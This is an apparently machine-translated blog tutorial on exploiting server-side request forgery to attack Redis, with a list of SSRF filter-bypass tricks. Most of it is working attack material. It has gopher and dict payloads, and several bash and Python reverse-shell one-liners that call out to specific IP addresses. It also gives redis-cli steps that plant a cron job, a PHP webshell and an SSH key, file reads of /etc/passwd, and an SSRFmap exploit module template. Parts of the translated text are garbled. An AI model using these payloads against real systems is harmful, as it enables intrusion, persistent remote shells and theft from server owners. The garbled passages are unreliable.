Web security exploits -SSRF from light to dark

Comb ssrf

Detailed records are not simply read or leave it

0x01 SSRF causes and basic use
within 0x02 unauthorized network play Redis
0x03 authorized to play on ssrf Redis
0x04 write redis shell and key problem at
0x05 SSRF Bypass
0x06 SSRFmap

last

 

 

 

0x01 SSRF causes and basic use

 

php vul function:

file_get_contents()
fsockopen()
curl_exec()
readfile()

 

 

example:

<?php
function curl($url){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_exec($ch);
                curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>
<?php
function Getfile($host, $port, $link){
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if(!$fp){
        echo "$errstr (error number $errno) \n";
    }else{
        $out = "GET $link HTTP/1.1\r\n";
        $out .= "HOST $host \r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= "\r\n";
        fwrite($fp, $out);
        $content = '';
        while(!feof($fp)){
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
$url = $_GET['url'];
echo file_get_contents($url);

 

Features:

Intranet service banner probe

file read file

Network with other service getshell

 

protocol:

 

file:///
dict://
sftp://
ldap://
tftp://
gopher://


File

url=file:///etc/passwd
url=file:///C:/Windows/win.ini

dict:// -

http://example.com/ssrf.php?dict://etc/passwd

 

SFTP: // -
Sftp on behalf of SSH File Transfer Protocol, or Secure File Transfer Protocol, is a protocol containing SSH, similar to SSH on a secure connection.

http://example.com/ssrf.php?url=sftp://evil.com:1337/

the LDAP: // or LDAPS: // or ldapi: // -
the LDAP on behalf of Lightweight Directory Access Protocol. It is an IP network management and application access protocol distributed directory information services through.

LDAP = URL: // localhost: 1337 /% 0astats% 0aquit
URL = LDAPS: // localhost: 1337 /% 0astats% 0aquit
URL = ldapi: // localhost: 1337 /% 0astats% 0aquit
TFTP: // -
Trivial File Transfer protocol is a simple file transfer protocol lockstep, it allows the client to obtain a file from a remote host or file on the remote host.

url=tftp://evil.com:1337/TESTUDPPACKET

Gopher: // -
Gopher is a distributed document delivery service. It allows the user to explore a seamless fashion, searching and retrieving information residing in different locations.

url=http://attacker.com/gopher.php

 

 

 

 

 

 

 

 

 

 

 

 

You can place the keyword dictionary fuzz

 

 

 

 

 

 

 

 

0x02 unauthorized network play redis

On the basis of the mirror plus corntab

FROM python:3.6-slim
MAINTAINER whx3000 <[email protected]>

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
    cron && \
    rm -rf /var/lib/apt/lists/* && \
    apt-get clean

RUN chmod +x ./docker-entrypoint.sh

ENV LC_ALL C.UTF-8
ENTRYPOINT ["./docker-entrypoint.sh"]

docker-entrypoint.sh

#!/bin/bash
set -x

env >> /etc/default/locale
/etc/init.d/cron start

 

We can build.

 

 

Not necessarily want to use the gopher protocol curl secondary coding

dict 
curl -vvv 'dict://127.0.0.1:6379/info'

# file
curl -vvv 'file:///etc/passwd'

# gopher 
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

 

 

 

 

webshell:

redis-cli -h 127.0.0.1 flushall
redis-cli -h 127.0.0.1 config set dir /var/www
redis-cli -h 127.0.0.1 config set dbfilename shell.php
redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>"
redis-cli -h 127.0.0.1 save
curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://xxxx:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

 

_POST /demo1.php HTTP/1.1
Host: 192.168.17.132
User-Agent: curl/7.42.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

cmd=ccccc

bash -i >& /dev/tcp/192.168.17.158/2333 0>&1

 

Rebound shell

redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save
dict://serverip:port/cmd:param

/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall

 

 

Write key:

127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> set 1 "\ n \ nssh-RSA AAAAB3NzaC1yc2EAAAABIwAAAQEAsJ4pbjXL5KnnX / FP6sZORaT3N8 / A6SEYv23VfrIVoPdOCBVD98O + RExVWCe8Iknwzx3w1Hm2uWnB6i6AtCnIji3yz16HIPryzoLE65xN4Z2vGXZk2YmOuRtqFPKPk / QCdf1Vxh6lwLZRo2msYEK / + mziOrmYy1UzwqLxfl1uNYVYTs2jHGBEikPwA7FAt5ZVRRBhzDnn8dyT201FOwR / fpukiXbaevZU2 / iyW + Qu9ssaZMJMpRzautNuZLxCmV9TfuP0NbsgCBHj1nOMf3BUQNXUtE4aCRP0gHbs18Wvpx5ryWyl / NWWQADOY2dMHMWuTtCxLSrfY / q + H8l + JGdQpw == \ n \ n"
OK
127.0.0.1:6379> save

 

 

 

 

 

 

 

 

 

0x03 authorized to play on ssrf redis

Official website:

https://redis.io/topics/protocol

  

 Use RESP agreement

  • The client sends a RESP Arrays consisting only of Bulk Strings to the Redis server.
  • Redis server replies transmission of any data type as a reply RESP valid client.

Bulk Strings represents the maximum length of a single 512 MB secure string of binary encoding in the following manner:

  • A $byte count byte followed by a string consisting of (a prefix length), terminated by CRLF.

 

Now each row of data in the data packet like understand. Each *numbereach row represents a command, number representative of the number of elements in each row in the array order. $numberRepresentative length of each element.

*1
$8
flushall
*3
$3
set
$1
1
$22


<?php phpinfo();?>


*4
$6
config
$3
set
$ 3
 you 
$ 4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

 

Certification:

sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf

 

 

 

 

An array of characters passed certification

*2
$4
AUTH
$6
123123

 

For the description of the command's official website

Request-Response model.
A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..

 

Redis client supports pipelining, multiple commands may be transmitted by a single write operation, on the server without reading a reply command before issuing the next command. All responses can be read at the end.

This is also the case in the authentication Redis can still be reason to attack.

Reconstruct the data packet

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

 

 

 

 

 

 

0x04 write redis shell and key point problem

Toss for a long time do not want to say too much 

root@ax9a2j9sajxa9:/var/spool/cron/crontabs# ll
total 12
drwx-wx--T 2 root crontab 40236 Dec  5 18:43 ./
drwxr-xr-x 3 root root    4092 Dec  3 17:57 ../
-rw------- 1 root crontab 1341 Dec  3 06:47 root
root@fe8fb94b7fb1:/etc# ll crontab 
-rw-r--r-- 1 root root 743 Apr  5  20169crontab

 

Since it needs root can docker in default redis. Write program error

py 

1
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

 

bash:

*/1 * * * * /bin/bash -i >& /dev/tcp/xxxx/12345 0>&1

 

About payload is truncated

 

get 1
"* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
127.0.0.1:6379> save
OK
00000000: 5245 4449 5330 3030 36fe 0000 c001 c340  REDIS0006......@
00000010: c440 fb02 2a20 2aa0 011f 2f75 7372 2f62  .@..* *.../usr/b
00000020: 696e 2f70 7974 686f 6e20 2d63 2027 696d  in/python -c 'im
00000030: 706f 7274 2073 6f63 6b65 1574 2c73 7562  port socke.t,sub
00000040: 7072 6f63 6573 732c 6f73 2c73 7973 3b73  process,os,sys;s
00000050: 3d80 2e80 1a00 0600 2880 0608 2e41 465f = ....... (.... AF_
00000060: 494e 4554 2ca0 0e1f 534f 434b 5f53 5452  INET,...SOCK_STR
00000070: 4541 4d29 3b73 2e63 6f6e 6e65 6374 2828  EAM);s.connect((
00000080: 2231 3135 2e32 382e 0737 382e 3136 222c  "115.28..78.16",
00000090: 3620 0019 2929 3b6f 732e 6475 7032 2873  6 ..));os.dup2(s
000000a0: 2e66 696c 656e 6f28 292c 3029 3b20 e00a  .fileno(),0); ..
000000b0: 1600 31e0 0d16 0432 293b 703d e001 ab07  ..1....2);p=....
000000c0: 2e63 616c 6c28 5b22 60db 0b73 6822 2c22  .call(["`..sh","
000000d0: 2d69 225d 293b 27ff 8c5e 76ca 1e73 7b64  -i"]);'..^v..s{d

 

Write ssh authorized_keys not be truncated

 

ssh questions:

 

Directory permissions problem 

 

authorized key 600 permissions ssh directory permissions to 700

 

 

 

Objectives need to open to allow ssh RSA authentication

 

 

There is a path problem:

 

 

 The final step is to write shell curl time;? Need to be encoded.

 

 

 

 

 

 

 

 

0x05 SSRF Bypass

http://127.0.0.1:80

http://localhost:22

http://[::]:80/ >>> http://127.0.0.1

http://[email protected]

127。0。0。1 >>> 127.0.0.1

Short address

http://dwz.cn/11SMa >>> http://127.0.0.1

 

 

Special Address

The principle is the use of DNS resolution

 

http://127.0.0.1.xip.io/

http://www.owasp.org.127.0.0.1.xip.io/

 

 

 

character set

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com

List:

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳

⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇

⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛

⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵

Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ

ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ

⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴

⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

 

 

 

 

Ary

It can be hexadecimal, octal and so on.

115.239.210.26 >>> 16373751032

First, these four numbers are converted into a hexadecimal results: 73 ef d2 1a

Then 73efd21a this hex is converted into an octal

Remember to visit when added to 0 for octal (can be a 0 may be more than 0 with XSS in a few more, like 0 to bypass the filter), hexadecimal with 0x

http://127.0.0.1 >>> http://0177.0.0.1/

http://127.0.0.1 >>> http://2130706433/

 

http://192.168.0.1 >>> http://3232235521/

http://192.168.1.1 >>> http://3232235777/

 

 

 

 

 

 

 

0x06 SSRFmap

 

 

 

 

 

 

 

Use templates to change the script:

from core.utils import *

import logging

 

name          = "servicename inlowercase"

description   = "ServiceName RCE - What does itdo"

author        = "Name or pseudo of theauthor"

documentation= ["http://link_to_a_research", "http://another_link"]

 

class exploit():

    SERVER_HOST = "127.0.0.1"

    SERVER_PORT = "4242"

 

    def __init__(self, requester, args):

        logging.info("Module '{}' launched!".format(name))

 

        # Handle args for reverse shell

        if args.lhost == None: self.SERVER_HOST= input("Server Host:")

        else:                  self.SERVER_HOST = args.lhost

 

        if args.lport == None: self.SERVER_PORT= input("Server Port:")

        else:                  self.SERVER_PORT = args.lport

 

        # Data for the service

        # Using a generator to create the hostlist

        # Edit the following ip if you need totarget something else

        gen_host =gen_ip_list("127.0.0.1", args.level)

        for ip in gen_host:

            port = "6379"

            data ="*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"

            payload = wrapper_gopher(data, ip ,port)

 

            # Handle args for reverse shell

            payload = payload.replace("SERVER_HOST",self.SERVER_HOST)

            payload =payload.replace("SERVER_PORT", self.SERVER_PORT)

 

            # Send the payload

            r =requester.do_request(args.param, payload)

 

 

 

DZ EXample

 

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

gopher.php 

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

 

 other:

 

 

 

  

 

Recently that she has control stay up all night, do not sudden death.

 

tip: drink plenty of water 

Guess you like

Origin www.cnblogs.com/-qing-/p/11785067.html